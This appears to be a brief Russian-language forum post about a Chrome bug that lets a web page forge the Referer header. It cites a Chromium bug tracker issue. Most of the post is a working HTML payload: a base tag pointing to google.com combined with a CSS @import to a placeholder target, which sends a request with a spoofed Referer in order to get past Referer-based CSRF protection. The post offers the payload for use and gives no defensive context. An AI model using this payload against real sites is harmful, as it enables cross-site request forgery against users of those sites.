Подделка заголовка Referer в Chrome

[tabac]

Оказалось, что в Chrome можно подделать заголовок Referer.
Юзать очень просто

<base href="https://www.google.com/">
<style>
    @import 'https://CSRF.vulnerable.example/';
</style>

Запрос к сайту уйдет с заголовком
Referer: https://www.google.com/

инфа тут https://bugs.chromium.org/p/chromium/issues/detail?id=1152999